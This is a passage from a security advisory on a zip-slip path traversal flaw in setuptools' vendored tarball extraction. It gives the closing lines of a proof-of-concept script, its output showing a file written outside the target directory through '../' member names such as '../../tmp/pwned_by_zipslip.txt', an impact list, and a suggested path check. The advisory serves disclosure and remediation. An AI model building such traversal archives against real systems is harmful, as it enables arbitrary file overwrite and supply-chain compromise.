Advisory

GHSA-58pv-8j8x-9vj2

Details, part 2 of 2. The advisory

Details

print(\"[!] Python does not have DEFAULT_FILTER (older version)\")
print()

if __name__ == \"__main__\":
check_python_version()
exploit_zipslip()


Output:

[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0]
[!] Python does not have DEFAULT_FILTER (older version)

[*] Target: setuptools._vendor.jaraco.context.tarball()
[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target
[*] Creating malicious tar archive...
[*] Extracting: ../../tmp/pwned_by_zipslip.txt -> ../../tmp/pwned_by_zipslip.txt
✓ Extracted successfully
[*] Extracting: ../../../../home/pwned_home.txt -> ../../../../home/pwned_home.txt
! PermissionError: Path traversal ATTEMPTED
[*] Extracting: ../escaped.txt -> ../escaped.txt
✓ Extracted successfully
[*] Extracting: legitimate_file.txt -> legitimate_file.txt
✓ Extracted successfully
[*] Checking for extracted files...
[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target):
extraction_target/
legitimate_file.txt
└─ This file stays in target directory...

[*] Checking for traversal attempts...

[-] OK: Escape to /tmp - No escape detected
[-] OK: Escape to home - No escape detected
[+] Path Traversal Confirmed: Escape to parent
File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt
Content: [ZIPSLIP] File in parent directory!
Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt
[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!

[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5


### Impact

- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.
- Privesc (LOW exploitability)
- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.

### Remediation

I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.

if member.name.startswith('/') or '..' in member.name:
raise ValueError(f\"Attempted path traversal detected: {member.name}\")

Sources & licences